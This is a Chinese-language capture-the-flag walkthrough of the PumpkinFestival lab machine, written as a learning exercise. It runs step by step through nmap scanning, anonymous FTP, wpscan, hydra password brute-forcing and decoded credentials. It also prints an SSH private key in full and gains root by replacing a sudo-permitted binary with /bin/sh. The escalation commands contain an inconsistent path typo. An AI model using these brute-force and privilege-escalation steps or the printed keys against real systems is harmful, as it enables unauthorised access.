学习笔记-PumpkinFestival-WalkThrough
PumpkinFestival-WalkThrough
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靶机地址
Description
Mission-Pumpkin v1.0 is a beginner level CTF series, created by keeping beginners in mind. This CTF series is for people who have basic knowledge of hacking tools and techniques but struggling to apply known tools. I believe that machines in this series will encourage beginners to learn the concepts by solving problems.
PumpkinFestival is Level 3 of series of 3 machines under Mission-Pumpkin v1.0. The Level 1 ends by accessing PumpkinGarden_Key file. Level 2 is about identifying pumpkin seeds.
In this level (Level 3) it is time for Pumpkin Festival, the goal is to reach root and access PumpkinFestival_Ticket and collect PumpkinTokens on the way.
知识点
- 字符加解密
- ssh密钥使用
- wpscan
实验环境
环境仅供参考
- VMware® Workstation 15 Pro - 15.0.0 build-10134415
- kali : NAT 模式,192.168.141.134
- 靶机 : NAT 模式
前期-信息收集
开始进行 IP 探活
nmap -sP 192.168.141.0/24
排除法,去掉自己、宿主机、网关,这里 192.168.141.130 是靶机的地址。
扫描开放端口
nmap -T5 -A -v -p- 192.168.141.130
似曾相识啊,ftp 允许匿名登录
ftp 192.168.141.130
anonymous
密码为空,直接回车
ls
cd secret
ls
get token.txt
bye
cat token.txt
PumpkinToken : 2d6dbbae84d724409606eddd9dd71265
获得了个 token,之后应该会用到,看看 web
网页源码中的 token
PumpkinToken : 45d9ee7239bc6b0bb21d3f8e1c5faa52
看下 robots.txt
在 http://192.168.141.130/store/track.txt 中可以找到一个 Tracking code 和一个邮箱
下一步在host中添加上面的邮箱域名
echo "192.168.141.130 pumpkins.local" >> /etc/hosts
访问可以发现一个 wordpress 页面和 token
PumpkinToken : 06c3eb12ef2389e2752335beccfb2080
除了这个域名以外还有一个 token 路径,爆破出 http://192.168.141.130//tokens/token.txt
第四个 token
PumpkinToken : 2c0e11d2200e2604587c331f02a7ebea
下面用 wpscan 尝试打 wordpress
wpscan --url http://pumpkins.local -e at -e ap -e u
发现2个用户和一个readme
访问发现是个加密字符串,像是 base64,解出来是 base62
K82v0SuvV1En350M0uxiXVRTmBrQIJQN78s
morse & jack : Ug0t!TrIpyJ
登录后发现一个 token
PumpkinToken : 7139e925fd43618653e51f820bc6201b
通过之前 wpscan 的扫描结果,还存在一个用户 admin ,最开始的网站主页最底下有个 Alohomora! 就是 admin 的密码
登录后发现2处 token
PumpkinToken : f2e00edc353309b40e1aed18e18ab2c4
PumpkinToken : 06c3eb12ef2389e2752335beccfb2080
接下来爆破 FTP,主页中提到过一个用户名 harry
hydra -l harry -e nsr -P /usr/share/wordlists/rockyou.txt ftp://192.168.141.130
连接
ftp 192.168.141.130
harry
yrrah
最后下载到2个 token.txt 和 data.txt
PumpkinToken : ba9fa9abf2be9373b7cbd9a6457f374e
PumpkinToken : f9c5053d01e0dfc30066476ab0f0564c
data.txt 无法直接读,看下类型
压缩文件,解压
tar -xvf data.txt
tar -xvf data
tar -xvf key
cat jack
hex 解一下是SSH的密钥
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAwIInyghdj2fsZYJJ2V3L7QtrclJpztt59m3Wmn4y9spMsd2tqJ2b
Fziqj2e+jZaKDWT9tyQFEVWOs34OQh3sjgAzu2tLGuPpgi5Zu8ynwUBMK7He+81sPvETve
bcdqpuzgsAwD5pC1z5LT7eOAImKHx2msoHt1vOqePDNPvPHRG20yUhRGuoFu4blKWwun4+
YbeBMH0LlzzJhnqKAkF7oEfZ6V7/1yENsrd+8ewGZg63po0I2CoVzGJboxHDjbTgiNN0XW
x2g3oDOUsBIYjbuTdCt3R2r7RheyXlRgts8G5bZe9fViAl26Og7jzGdjIr3y8ns/mpJ736
e3jQPSHCsEemcSj9zWDpXpHsiVX5OdCkmyaJLFZpfXjhB5z3x6v1iSAkzsHChPeDzboSxj
xzKZb8yeYhNGP0ochEPARfI8jInII5Wv8jtBqTKqP7zu50OzUxJzFzCMPLfJNWdZL/KAwb
TV2K9075hvDEQD1mH6IVVJyrNuruSRNAvTEtLWCpI48Hos3WGjzsmMuA79WGqBzWyS5kg0
wVckJADLgpLEiE+Ne9AbVOqLnSBh0AV2mD2s2HmfR7f080TqXxAot6+7ADo/96Nf3ZnnBE
O516Q3WlmvoZbQ33mMSsOItBLejPXp3Lq8Lb19m2D2bZ2MDoC+Bcr+po/rr9ALRKiUsVts
sAAAdAQxmXlEMZl5QAAAAHc3NoLXJzYQAAAgEAwIInyghdj2fsZYJJ2V3L7QtrclJpztt5
9m3Wmn4y9spMsd2tqJ2bFziqj2e+jZaKDWT9tyQFEVWOs34OQh3sjgAzu2tLGuPpgi5Zu8
ynwUBMK7He+81sPvETvebcdqpuzgsAwD5pC1z5LT7eOAImKHx2msoHt1vOqePDNPvPHRG2
0yUhRGuoFu4blKWwun4+YbeBMH0LlzzJhnqKAkF7oEfZ6V7/1yENsrd+8ewGZg63po0I2C
oVzGJboxHDjbTgiNN0XWx2g3oDOUsBIYjbuTdCt3R2r7RheyXlRgts8G5bZe9fViAl26Og
7jzGdjIr3y8ns/mpJ736e3jQPSHCsEemcSj9zWDpXpHsiVX5OdCkmyaJLFZpfXjhB5z3x6
v1iSAkzsHChPeDzboSxjxzKZb8yeYhNGP0ochEPARfI8jInII5Wv8jtBqTKqP7zu50OzUx
JzFzCMPLfJNWdZL/KAwbTV2K9075hvDEQD1mH6IVVJyrNuruSRNAvTEtLWCpI48Hos3WGj
zsmMuA79WGqBzWyS5kg0wVckJADLgpLEiE+Ne9AbVOqLnSBh0AV2mD2s2HmfR7f080TqXx
Aot6+7ADo/96Nf3ZnnBEO516Q3WlmvoZbQ33mMSsOItBLejPXp3Lq8Lb19m2D2bZ2MDoC+
Bcr+po/rr9ALRKiUsVtssAAAADAQABAAACABAk2iFfQjlchb6dhoPsEcX3RzN3JdhrH3dD
DtQ18SAxJu1jocSaMv9niSYtlRVaooktBvns01/4xNbYo2l4CPZ/ndcB0HKY2mRIbs4JA6
h5M+oWKJUFTSaaIQWz7pklAdXVpmJ42WZSjbL1qr0XsQuEJI4mky8VS+eDakNvOpc9fQ+H
9Zo/TQFfRoDYxFFfdOvM79CZK/eq6VuVuy0lQLDYVbX0eZAY/YUXTlYLbR3x7gTRnwRBw0
I4nWa3fqbLnGjdEs0i421zNgIAAEBHseV+dOHdqnZhsisZqniNTL19A70wrdYTLBmXR0+z
WRFgc71rvvCg50al7/Oa1hvKUQFCE6gpLcr7S/qevwVX9IF7PkV5+AlTlnzpZK900Jat2S
iZIGRu7+0OPDZuSA5dKN5/fmZoCmukZ8KWGcao1mr5QjVb7SROUA5sbvZQTUwJoCvxj7IO
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2laYnc9fCJKy7ZEc+BAAABAQCo5Oz5Q0HbcBkziqK70wrlm4WnYxU08I0Iu0sXBcEpF2DA
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lyZOa9zQUoTqbu/dks+HNq0fibh6oxkGxcinxcejD8j0xyqhud2AlS+3TQq9pdIIx/ZwLI
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kWOuRHebKoCyAAW2AAABAQD1xXH584HshiYfQJxBXKZhSGGrfW82/U8K5Y+T/SZOV3Gx/t
wjXXYLoCWjYyu7HJhHmed0AmsMrvBwyHM4pHW2r4IvfKqxix3Lr3416isu+/PWsFc+QkIk
kjek6POIYJytnzZgrzUAQF+kfh9PxkJnchIm+3YSwZYE8nAZxTSXGgMWSWqFwN9oO/P38L
ullceYhyn5ZV/NvSVi+MlKw3+ChpPZMYvqngdYPkS3Ovx5UOZzPjtRkylWBHZB50gDgfd1
kxB7Rmpjvj8I3HMcXt2fygc6Qr35aMCcAzXNIyF1FIMsWmxDjuU6qv+fkGyx8YkkcbB75b
HnDB6C+kBAl2rzAAABAQDIhTl2TwnR96BJO5KT926OTOm5w6qx4GuMF2B9PStQNdOBG0FG
n2A9z1EmCNHI63N7gGul4MHxYm69YdnQtah/CeOh/eOQ1vgaGNUU1052+480+KHQy2z7kK
MgE/qM4U7i5nfegFem1xE42i4EytRY2ag+gga4wZfe/98woeB8OlKv+pBmNgHAB1orTPLb
Kh7izLlZM6kQ0ASSfDf0RbZpRIIU1ngRXRn94iZvn/8fwV2iCJ5WxqALtZSEJnaVcEqlkG
1j6XrfkeUUrYWlOorxbiyxMGeC19VvePPpXvGKD8tSZ1NTnH3RkkQGKZjohQsd67IS4fup
16k4l9SUtcrJAAAACXJvb3RAa2FsaQE=
-----END OPENSSH PRIVATE KEY-----
使用这个 ssh 密钥登录
xxd -r -p jack >> sshkey
chmod 600 sshkey
ssh jack@192.168.141.130 -i sshkey -p 6880
ls
file token
./token
PumpkinToken : 8d66ef0055b43d80c34917ec6c75f706
尝试提权
sudo -l
密码是之前用 base62 解出的 Ug0t!TrIpyJ
可以已 root 权限运行 alohomora 程序,但是并没有找到这个文件，那直接创建个可提权的程序即可
mkdir pumpkins
echo "/bin/sh" > /home/jack/pumpkins/alohomora
chmod +x /home/jack/pumkins/alohomora
cd /home/jack/pumkins/
sudo ./alohomora
id
cd /root
ls
cat PumpkinFestival_Ticket
提权成功
注 : 该靶机起码有11个token, http://pumpkins.local/license.txt 下还有一个 PumpkinToken : 5ff346114d634a015ce413e1bc3d8d71
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安全狗的自我修养
